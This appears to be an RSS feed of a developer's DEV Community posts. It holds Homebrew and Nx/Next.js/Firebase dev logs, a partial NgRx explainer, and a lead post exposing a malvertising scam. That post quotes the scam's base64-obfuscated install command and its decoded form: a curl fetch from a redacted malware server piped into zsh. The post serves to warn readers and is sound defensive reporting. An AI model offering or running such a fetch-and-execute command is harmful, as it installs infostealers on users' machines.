<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: David</title>
    <description>The latest articles on DEV Community by David (@davidshortman).</description>
    <link>https://dev.to/davidshortman</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F417484%2F83e04b07-07a0-4089-b4f4-979be8f4c676.png</url>
      <title>DEV Community: David</title>
      <link>https://dev.to/davidshortman</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/davidshortman"/>
    <language>en</language>
    <item>
      <title>I Googled "brew upgrade" and Found a Malware Operation 🍺💀</title>
      <dc:creator>David</dc:creator>
      <pubDate>Mon, 23 Feb 2026 13:10:09 +0000</pubDate>
      <link>https://dev.to/davidshortman/i-googled-brew-upgrade-and-found-a-malware-operation-5be3</link>
      <guid>https://dev.to/davidshortman/i-googled-brew-upgrade-and-found-a-malware-operation-5be3</guid>
      <description>&lt;p&gt;The AI-powered scam content army is here, and it's buying Google Ads.&lt;/p&gt;

&lt;p&gt;I don't mean the usual SEO slop, like the "Top 10 Best Ways to Optimize Your Workflow in 2026" stuff that clutters every search result. I mean professionally generated, technically convincing pages designed to trick developers into running malware on their machines, funded by hijacked ad accounts from real businesses in multiple countries, and rotating across platforms faster than they can be reported.&lt;/p&gt;

&lt;p&gt;Here's how I stumbled into one.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Search
&lt;/h2&gt;

&lt;p&gt;I was messing around with Claude's Chrome extension, and I happened to be in a fresh Chrome session with no extensions, no ad blocker, no customization. I needed to update some Homebrew packages, and since I was already in vanilla Chrome, I just Googled it: "brew upgrade packages."&lt;/p&gt;

&lt;p&gt;The first result was sponsored. It pointed to HackMD, which is a real notes platform. I clicked it and got a page titled "Terminal-Based macOS Deployment." It immediately looked like clean AI slop- from formatting, tone, subsections about "System Advantages" and "Native Optimization." It even name-dropped Gatekeeper and SIP (actual macOS security features), as if this page was helping you stay secure.&lt;/p&gt;

&lt;p&gt;The installation command gave it away:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'ZWNobyAnSW5zdGFsbGluZyBwYWNr...'&lt;/span&gt;|base64 &lt;span class="nt"&gt;-D&lt;/span&gt;|zsh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you're not a developer, that's a bunch of gibberish. If you are, every alarm in your brain should fire. That's a base64-encoded string being decoded and piped directly into your shell. You literally cannot read what it does before you run it.&lt;/p&gt;

&lt;p&gt;I decoded it. Here's what it actually says:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo 'Installing package please wait...' &amp;amp;&amp;amp; curl -kfsSL http://[malware-server]/curl/[hash]|zsh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It prints a friendly "Installing package please wait..." message, then silently downloads a script from a remote server and executes it immediately. The &lt;code&gt;-kfsSL&lt;/code&gt; flags on curl suppress all output and ignore SSL certificate errors.&lt;/p&gt;

&lt;p&gt;This is a textbook virus.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Investigation
&lt;/h2&gt;

&lt;p&gt;The HackMD account that published the page was called "mac specs" with the username &lt;code&gt;@sXss8fsSQ62Kehf5H3lirw&lt;/code&gt; — random characters, obviously generated. Created February 19, 2026. Three days before I found it. No other published notes.&lt;/p&gt;

&lt;p&gt;Google requires advertisers to verify their identity, and you can look up any advertiser in the &lt;a href="https://adstransparency.google.com" rel="noopener noreferrer"&gt;Google Ads Transparency Center&lt;/a&gt;. The ad was paid for by Enexum SA, based in Chile.&lt;/p&gt;

&lt;p&gt;My first thought was that it's a shell company. But I looked them up, and they're a real ad agency in Santiago. Their ad account had probably been hijacked.&lt;/p&gt;

&lt;p&gt;I reported the ad to Google, and to HackMD. The next morning, I searched the same thing again.&lt;/p&gt;

&lt;p&gt;I got a new sponsored result on a different platform, Craft.md. It was an identical page template, word for word.&lt;/p&gt;

&lt;p&gt;This time, someone had managed to leave a comment on the Craft page:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"THIS IS A VIRUS, STEALS PASSWORDS AND CRYPTO"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I checked the Transparency Center again. This ad was paid for by GRUPO EON AMERICA S.A.S., based in Argentina. And when I looked them up, their Transparency Center page showed 28 active ads, most of them normal campaigns for an Argentine supermarket chain.&lt;/p&gt;

&lt;p&gt;So it was the same pattern of a hijacked agency account, with verified identity inherited.&lt;/p&gt;

&lt;p&gt;I emailed both companies to let them know their accounts were likely compromised.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Actually Happening Here
&lt;/h2&gt;

&lt;p&gt;This is AI slop being trivially abused and it kinda shocks me how simple and brazen it is.&lt;/p&gt;

&lt;p&gt;They used the right terminology, the right formatting, and the right tone to exploit the fact that developers are already primed to copy commands from the internet and paste them into their terminals. The scam doesn't need you to download a file or click a suspicious link, but just to do the thing you were already going to do.&lt;/p&gt;

&lt;h2&gt;
  
  
  What You Should Do
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Stop using sponsored search results.&lt;/strong&gt; Just don't click them. The real documentation will always rank organically. Better yet, use a search engine that doesn't show sponsored results at all. I use &lt;a href="https://kagi.com" rel="noopener noreferrer"&gt;Kagi&lt;/a&gt;, which is paid and ad-free. If I'd been in my normal setup instead of a bare Chrome session, I never would have seen this ad in the first place.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learn what AI-generated scam content looks like.&lt;/strong&gt; It has a samey quality: overly polished, generically professional, and weirdly confident about everything. Phrases like "Professional-grade installation via Terminal ensures a direct, high-speed integration with the macOS architecture" sound impressive but say nothing. Real documentation doesn't talk like that. If a technical guide reads like a marketing brochure, be suspicious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stick to real sources.&lt;/strong&gt; When you're looking for how to use a CLI tool, go to the official docs. For Homebrew, that's &lt;a href="https://brew.sh" rel="noopener noreferrer"&gt;brew.sh&lt;/a&gt;. If the source is a content-hosting platform rather than the project's own documentation, ask yourself why.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Check the comments.&lt;/strong&gt; If you do end up on a platform that allows comments, look at them. Sometimes the best security advisory is the bluntest one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Never run base64-encoded commands from the internet.&lt;/strong&gt; If someone is hiding what a command does, there's a reason.&lt;/p&gt;




&lt;p&gt;Stay skeptical out there.&lt;/p&gt;




&lt;p&gt;After publishing this, I looked into whether anyone else had documented the same thing. It turns out this is a well-known, ongoing campaign that the security community has been tracking for over a year.&lt;/p&gt;

&lt;p&gt;In January 2025, &lt;a href="https://www.bleepingcomputer.com/news/security/fake-homebrew-google-ads-target-mac-users-with-malware/" rel="noopener noreferrer"&gt;BleepingComputer reported&lt;/a&gt; on fake Homebrew Google Ads that redirected from the real "brew.sh" URL to a lookalike domain "brewe.sh." Homebrew's project leader responded publicly, essentially saying there was nothing they could do and that Google keeps taking money from scammers.&lt;/p&gt;

&lt;p&gt;By October 2025, &lt;a href="https://www.bleepingcomputer.com/news/security/google-ads-for-fake-homebrew-logmein-sites-push-infostealers/" rel="noopener noreferrer"&gt;researchers had identified over 85 domains&lt;/a&gt; impersonating Homebrew, LogMeIn, and TradingView, all using the same base64 technique through Google Ads.&lt;/p&gt;

&lt;p&gt;And just this month, the campaign expanded to abusing AI platforms directly. &lt;a href="https://adguard.com/en/blog/claude-google-ads-malware-poisoning-macos.html" rel="noopener noreferrer"&gt;AdGuard documented&lt;/a&gt; attackers creating public artifacts on claude.ai with fake Homebrew install instructions, then buying Google Ads pointing to them. Because the ad shows the trusted claude.ai domain, users are even more likely to click. &lt;a href="https://www.bleepingcomputer.com/news/security/claude-llm-artifacts-abused-to-push-mac-infostealers-in-clickfix-attack/" rel="noopener noreferrer"&gt;BleepingComputer confirmed&lt;/a&gt; the campaign also uses fake Apple Support pages on Medium, and that over 15,000 users viewed the malicious content. The search queries being targeted go beyond Homebrew to include "online DNS resolver" and "macOS CLI disk space analyzer."&lt;/p&gt;

&lt;p&gt;So the HackMD and Craft pages I found are one arm of a much larger operation. The security community calls the technique "ClickFix"... and it's not slowing down.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Old Time Tunes Dev Log 5: Adjusting Firebase App Hosting for Cost</title>
      <dc:creator>David</dc:creator>
      <pubDate>Tue, 15 Oct 2024 12:10:07 +0000</pubDate>
      <link>https://dev.to/davidshortman/old-time-tunes-dev-log-5-adjusting-firebase-app-hosting-for-cost-3644</link>
      <guid>https://dev.to/davidshortman/old-time-tunes-dev-log-5-adjusting-firebase-app-hosting-for-cost-3644</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a long-running series of logs that I'm sharing with my spouse to incrementally share everything I do to contribute to our project &lt;a href="https://github.com/david-shortman/old-time-tunes" rel="noopener noreferrer"&gt;Old Time Tunes&lt;/a&gt;. My goal is to make tiny records of what it takes to build a web platform.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I woke up today and saw we had an alert that we'd spent half our "budget" for the month for Old Time Tunes ($12/25)! This was surprising since no one's using it and it's a tiny app.&lt;/p&gt;

&lt;p&gt;I went to the billing center (found the link &lt;a href="https://console.firebase.google.com/u/0/project/old-time-tunes/usage/details" rel="noopener noreferrer"&gt;here&lt;/a&gt; which takes you to the center &lt;a href="https://console.cloud.google.com/billing/015D17-D8EAA3-C39290/history?authuser=0&amp;amp;consoleUI=FIREBASE&amp;amp;hl=en" rel="noopener noreferrer"&gt;here&lt;/a&gt;, and then I found a &lt;a href="https://console.cloud.google.com/billing/015D17-D8EAA3-C39290/reports?authuser=0&amp;amp;consoleUI=FIREBASE&amp;amp;hl=en" rel="noopener noreferrer"&gt;cost breakdown&lt;/a&gt; which showed that "Cloud Run" was accounting for basically all the cost. I know that "Cloud Run" is associated with running the Firebase App Hosting that is the NextJS server.&lt;/p&gt;

&lt;p&gt;I figured that the app currently had a configuration that was too fancy for its current state. I bumped down the number of instances of the server to 1, and bumped down its available CPU and memory resources in &lt;a href="https://github.com/david-shortman/old-time-tunes/commit/2ca095ccc9e907f9b942764acd5c6b634d7dcb37" rel="noopener noreferrer"&gt;this commit&lt;/a&gt; by updating the &lt;code&gt;apphosting.yaml&lt;/code&gt; configuration file.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Old Time Tunes Dev Log 4: Firebase App Hosting deploy</title>
      <dc:creator>David</dc:creator>
      <pubDate>Sun, 29 Sep 2024 18:53:32 +0000</pubDate>
      <link>https://dev.to/davidshortman/old-time-tunes-dev-log-4-firebase-app-hosting-deploy-4ol8</link>
      <guid>https://dev.to/davidshortman/old-time-tunes-dev-log-4-firebase-app-hosting-deploy-4ol8</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a long-running series of logs that I'm sharing with my spouse to incrementally share everything I do to contribute to our project &lt;a href="https://github.com/david-shortman/old-time-tunes" rel="noopener noreferrer"&gt;Old Time Tunes&lt;/a&gt;. My goal is to make tiny records of what it takes to build a web platform.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Before making any features for the app, I want to set up deployment of the empty Next app to Firebase.&lt;/p&gt;

&lt;p&gt;Firebase automatically configures a bunch of things for you in order to deploy a Next app. It figures out how to host it in a Docker container and manages the cloud resources for you.&lt;/p&gt;

&lt;p&gt;I created a new project in Firebase from the web UI: &lt;a href="https://console.firebase.google.com/u/0/project/old-time-tunes/overview" rel="noopener noreferrer"&gt;https://console.firebase.google.com/u/0/project/old-time-tunes/overview&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Then, I followed a guide to add an "App Hosting" app from a monorepo into Firebase: &lt;a href="https://firebase.google.com/docs/app-hosting/monorepos" rel="noopener noreferrer"&gt;https://firebase.google.com/docs/app-hosting/monorepos&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I had to change a few build configurations to help Firebase deploy the app:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I had to configure Next to build a "standalone" copy of the app for Docker (&lt;a href="https://nextjs.org/docs/pages/api-reference/next-config-js/output#automatically-copying-traced-files" rel="noopener noreferrer"&gt;https://nextjs.org/docs/pages/api-reference/next-config-js/output#automatically-copying-traced-files&lt;/a&gt;). I added &lt;code&gt;output: 'standalone'&lt;/code&gt; to the &lt;code&gt;next.config.js&lt;/code&gt; file&lt;/li&gt;
&lt;li&gt;I had to change where Next built files. I saw errors in the Google Cloud console where it was looking in &lt;code&gt;apps/ott-app&lt;/code&gt; for the files, but by default Nx was building in &lt;code&gt;dist/apps/ott-app&lt;/code&gt;. Ideally, I would have configured Firebase to look in the &lt;code&gt;dist&lt;/code&gt; folder instead, but since I didn't find a way to do that, I updated the &lt;code&gt;project.json&lt;/code&gt; file for the app to output build files in the expected location with &lt;code&gt;"outputPath": "apps/ott-app"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;I had to add an &lt;code&gt;apphosting.json&lt;/code&gt; file in the root of the repo to explicitly tell Firebase what resources should be used. It specifies the CPU and memory that should be used. Firebase appears to be dumb and expects this to be at the root of the repo instead of in the &lt;code&gt;apps/ott-app&lt;/code&gt; directory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I make this change in the PR &lt;a href="https://github.com/david-shortman/old-time-tunes/pull/2/files" rel="noopener noreferrer"&gt;https://github.com/david-shortman/old-time-tunes/pull/2/files&lt;/a&gt;, &lt;code&gt;chore: deploy with firebase&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now the (empty) app is deployed at &lt;a href="https://ott-app--old-time-tunes.us-central1.hosted.app/" rel="noopener noreferrer"&gt;https://ott-app--old-time-tunes.us-central1.hosted.app/&lt;/a&gt;!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Old Time Tunes Dev Log 3: GitHub PR merge setting</title>
      <dc:creator>David</dc:creator>
      <pubDate>Sun, 29 Sep 2024 16:23:13 +0000</pubDate>
      <link>https://dev.to/davidshortman/old-time-tunes-dev-log-3-github-pr-merge-setting-5abm</link>
      <guid>https://dev.to/davidshortman/old-time-tunes-dev-log-3-github-pr-merge-setting-5abm</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a long-running series of logs that I'm sharing with my spouse to incrementally share everything I do to contribute to our project &lt;a href="https://github.com/david-shortman/old-time-tunes" rel="noopener noreferrer"&gt;Old Time Tunes&lt;/a&gt;. My goal is to make tiny records of what it takes to build a web platform.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I'm going to start making PRs instead of merging directly to main, to create documentation of changes.&lt;/p&gt;

&lt;p&gt;When I merge a PR, I always want it to be merged as a single commit. I don't like the default merge behavior which merges in all the commits of the PR branch (I usually have dozens of commits).&lt;/p&gt;

&lt;p&gt;I updated the GitHub repo's settings (&lt;a href="https://github.com/david-shortman/old-time-tunes/settings" rel="noopener noreferrer"&gt;https://github.com/david-shortman/old-time-tunes/settings&lt;/a&gt;) to only allow "squash and merge" commits from PRs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy11qa919cdiov3xrcbkg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy11qa919cdiov3xrcbkg.png" alt="Github merge settings" width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Old Time Tunes Dev Log 2: Adding Next.js</title>
      <dc:creator>David</dc:creator>
      <pubDate>Sun, 29 Sep 2024 16:13:02 +0000</pubDate>
      <link>https://dev.to/davidshortman/old-time-tunes-dev-log-2-adding-nextjs-5epe</link>
      <guid>https://dev.to/davidshortman/old-time-tunes-dev-log-2-adding-nextjs-5epe</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a long-running series of logs that I'm sharing with my spouse to incrementally share everything I do to contribute to our project &lt;a href="https://github.com/david-shortman/old-time-tunes" rel="noopener noreferrer"&gt;Old Time Tunes&lt;/a&gt;. My goal is to make tiny records of what it takes to build a web platform.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;When I made the UI prototype last year, I used Angular. But now that I'm familiar with Next.js for React development, I'm bringing it into the repo.&lt;/p&gt;

&lt;p&gt;Nx, the monorepo management tool, makes it easy to set up and add a Next.js app to the repo. I went to &lt;a href="https://nx.dev/nx-api/next#nxnext" rel="noopener noreferrer"&gt;https://nx.dev/nx-api/next#nxnext&lt;/a&gt; to check what CLI commands to run. I ran &lt;code&gt;npx nx add @nx/next&lt;/code&gt; to add Next.js.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/dev/GitHub/old-time-tunes git:[main]
nx add @nx/next

✔ Installing @nx/next@19.8.2...
✔ Initializing @nx/next...

 NX   Package @nx/next added successfully.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This added the npm packages needed to run Next.js (including &lt;code&gt;react&lt;/code&gt; and eslint rules like &lt;code&gt;eslint-config-next&lt;/code&gt; and &lt;code&gt;eslint-plugin-react&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;I committed this as &lt;code&gt;chore: add next&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now that I have Nx support for Next.js, I was ready to create a new, empty Next app. There's CLI commands you can run in Nx, but I always use the Nx GUI in my IDE. The Nx docsite shows how to run generate commands from VSCode- &lt;a href="https://nx.dev/recipes/nx-console/console-generate-command" rel="noopener noreferrer"&gt;https://nx.dev/recipes/nx-console/console-generate-command&lt;/a&gt;.&lt;br&gt;
I use WebStorm instead of VSCode but it has a nearly identical Nx plugin. I used the GUI form to set a name and directory for the new app, and it generated this command to create the app: &lt;code&gt;nx g @nx/next:application --name=ott-app --directory=apps/ott-app --projectNameAndRootFormat=as-provided --no-interactive&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Finally, I wanted to test that the empty app works. I tried to build it using the Nx IDE plugin which has an option to serve the app (which uses the command &lt;code&gt;nx run ott-app:serve&lt;/code&gt;). But I hit a failure with the &lt;code&gt;next.config.js&lt;/code&gt; file which, after some research, appears to incorrectly be using old an Javascript format (using &lt;code&gt;require&lt;/code&gt; instead of &lt;code&gt;import&lt;/code&gt; and &lt;code&gt;module.exports =&lt;/code&gt; instead of &lt;code&gt;export default&lt;/code&gt;). I updated the import and export statements in the file, and then ran the serve command again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/Users/david/dev/GitHub/old-time-tunes/node_modules/.bin/nx run ott-app:serve

&amp;gt; nx run ott-app:serve:development

  ▲ Next.js 14.2.3
  - Local:        http://localhost:4200

 ✓ Starting...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The app ran successfully this time!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3t4n2g14py1sipg3h870.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3t4n2g14py1sipg3h870.png" alt="Nx welcome app" width="800" height="588"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I committed this as &lt;code&gt;chore: set up empty next app&lt;/code&gt;.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Old Time Tunes Dev Log 1a: Fixing vulnerable dependencies</title>
      <dc:creator>David</dc:creator>
      <pubDate>Sun, 29 Sep 2024 15:35:35 +0000</pubDate>
      <link>https://dev.to/davidshortman/old-time-tunes-dev-log-1a-fixing-vulnerable-dependencies-2akm</link>
      <guid>https://dev.to/davidshortman/old-time-tunes-dev-log-1a-fixing-vulnerable-dependencies-2akm</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a long-running series of logs that I'm sharing with my spouse to incrementally share everything I do to contribute to our project &lt;a href="https://github.com/david-shortman/old-time-tunes" rel="noopener noreferrer"&gt;Old Time Tunes&lt;/a&gt;. My goal is to make tiny records of what it takes to build a web platform.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;When I updated the dependencies using Nx, I saw that some dependencies were vulnerable. That doesn't matter much yet since we're not deploying anything to users, but I still ran &lt;code&gt;npm audit fix&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Instead of fixing the dependencies, I got some ugly errors about mismatched dependencies (presumably from the Nx update). I asked Claude about the issue by asking "i ran an nx update recently, then tried updating vulnerable dependencies with npm audit fix and got" and then I pasted the error from the terminal.&lt;/p&gt;

&lt;p&gt;Claude told me I should update the &lt;code&gt;zone.js&lt;/code&gt; package, so I did that with &lt;code&gt;npm install zone.js@~0.14.10&lt;/code&gt;. Then I ran &lt;code&gt;npm audit fix&lt;/code&gt; again and voila:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/dev/GitHub/old-time-tunes git:[main]
npm audit fix

added 16 packages, removed 16 packages, changed 37 packages, and audited 2134 packages in 13s

281 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I committed this as &lt;code&gt;chore: fix vulnerabilities in nx 19.8&lt;/code&gt;.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Old Time Tunes Dev Log 1: Updating the Repo</title>
      <dc:creator>David</dc:creator>
      <pubDate>Fri, 27 Sep 2024 03:03:59 +0000</pubDate>
      <link>https://dev.to/davidshortman/old-time-tunes-dev-log-1-updating-the-repo-f8b</link>
      <guid>https://dev.to/davidshortman/old-time-tunes-dev-log-1-updating-the-repo-f8b</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a long-running series of logs that I'm sharing with my spouse to incrementally share everything I do to contribute to our project &lt;a href="https://github.com/david-shortman/old-time-tunes" rel="noopener noreferrer"&gt;Old Time Tunes&lt;/a&gt;. My goal is to make tiny records of what it takes to build a web platform.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Since we created our prototype back in December last year, it's been a long time since the repo's been touched. Before I start development, I "update the repo" to make sure I don't have to deal with old bugs from dependencies or out-of-date docs online.&lt;/p&gt;

&lt;p&gt;We're using the repo management tool Nx (&lt;a href="https://nx.dev/getting-started/intro" rel="noopener noreferrer"&gt;nx.dev docs&lt;/a&gt;) which manages standard dependencies for us like the web framework (next.js) and tools like Jest.&lt;/p&gt;

&lt;p&gt;I ran &lt;code&gt;npx nx migrate latest --from=nx@17.1.3&lt;/code&gt; which updated many &lt;code&gt;package.json&lt;/code&gt; dependencies since the last version I used, 17.1.3. Nx also made a temporary &lt;code&gt;migrations.json&lt;/code&gt; file which it uses to define a list of tasks it will do to fix files in the repo to use updated features and library methods. I ran &lt;code&gt;nx migrate --run-migrations&lt;/code&gt; to run those migrations.&lt;/p&gt;

&lt;p&gt;Looks like the updates were nothing special. I made sure to commit the files that changed, but discarded the &lt;code&gt;migrations.json&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;I committed this as &lt;code&gt;chore: upgrade nx 19.8&lt;/code&gt;.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Here's how NgRx selectors actually work internally</title>
      <dc:creator>David</dc:creator>
      <pubDate>Sat, 23 Mar 2024 03:06:51 +0000</pubDate>
      <link>https://dev.to/davidshortman/heres-how-ngrx-selectors-actually-work-internally-15ml</link>
      <guid>https://dev.to/davidshortman/heres-how-ngrx-selectors-actually-work-internally-15ml</guid>
      <description>&lt;h2&gt;
  
  
  Everyone wants to know "how do selectors really work?"
&lt;/h2&gt;

&lt;p&gt;I ran into &lt;a href="https://github.com/ngrx/platform/discussions/4267" rel="noopener noreferrer"&gt;this question&lt;/a&gt; question on the NgRx GitHub discussion threads which asked:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I was wondering how selectors determine if their input changed - or, put differently: when do they recalculate?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I think every developer that uses NgRx should know the answer to this from the angle of how it really works under-the-hood. Knowing builds your confidence to build performant apps without mystery.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fastest answer
&lt;/h2&gt;

&lt;p&gt;When you subscribe to a selector with &lt;code&gt;store.select&lt;/code&gt;, that selector, and every dependent selector it has, &lt;strong&gt;is called on every single state change&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That may sound terrible for performance! But, what you may not know is that &lt;strong&gt;selectors are actually composed of two parts&lt;/strong&gt;, and the part that is expensive to run on every state change, the "projector," is actually &lt;strong&gt;not&lt;/strong&gt; run on every state change.&lt;/p&gt;

&lt;p&gt;Selectors only re-calculate, or call their projector again, when their "arguments" change. Let's see what that means.&lt;/p&gt;

&lt;h2&gt;
  
  
  What selectors really are
&lt;/h2&gt;

&lt;p&gt;Selectors are composed of a &lt;code&gt;projector&lt;/code&gt; function and a list of selectors that create "arguments" for the projector when given a state object.&lt;/p&gt;

&lt;p&gt;Selectors are declared with &lt;code&gt;createSelector&lt;/code&gt; like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selectSomething&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createSelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
   &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;aListOfSelectors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="nx"&gt;projector&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The projector function &lt;strong&gt;is not called on every state change&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead, when a selector is called:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;each selector in the list of dependent selectors is applied on the state, producing arguments with which to call the projector&lt;/li&gt;
&lt;li&gt;the arguments are compared to a cached, or memoized, list of values with which the selector's projector was last called&lt;/li&gt;
&lt;li&gt;When the arguments are the same, compared by &lt;code&gt;===&lt;/code&gt;, the projector is not called; the last memoized value is returned instead&lt;/li&gt;
&lt;li&gt;When any of the arguments are different, the projector is called, and the new value is returned; the arguments are memoized along with the new value&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What does this mean?
&lt;/h2&gt;

&lt;p&gt;Selectors don't have to have to be re-calculated, or apply their projector function, on every state change. This is enabled by writing small, composable selectors.&lt;/p&gt;

&lt;h2&gt;
  
  
  Break it down, how do selectors achieve memoization?
&lt;/h2&gt;

&lt;p&gt;I'll show a simplified version of how &lt;code&gt;createSelector&lt;/code&gt; and &lt;code&gt;store.select&lt;/code&gt; work.&lt;/p&gt;

&lt;p&gt;By looking at simplified implementations, hopefully you'll see how the awesome performance benefits of selectors are done.&lt;/p&gt;

&lt;h3&gt;
  
  
  How &lt;code&gt;createSelector&lt;/code&gt; really works
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;createSelector&lt;/code&gt; is a factory that creates a function which takes in state and returns a value. The steps it takes are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Declare variables for the last arguments with which the projector was called, and the last result of the projector&lt;/li&gt;
&lt;li&gt;Create a function which

&lt;ul&gt;
&lt;li&gt;Applies dependent selectors to the state&lt;/li&gt;
&lt;li&gt;Checks whether the last arguments with which the projector was called match the results from the dependent selectors&lt;/li&gt;
&lt;li&gt;Returns either memoized results when true, or applies the projector to the results from the dependent selectors&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;You could implement &lt;code&gt;createSelector&lt;/code&gt; like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;createSelector&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;otherSelectors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;projector&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Declare variables for the last arguments which the projector was called with, and the last result of the projector&lt;/span&gt;
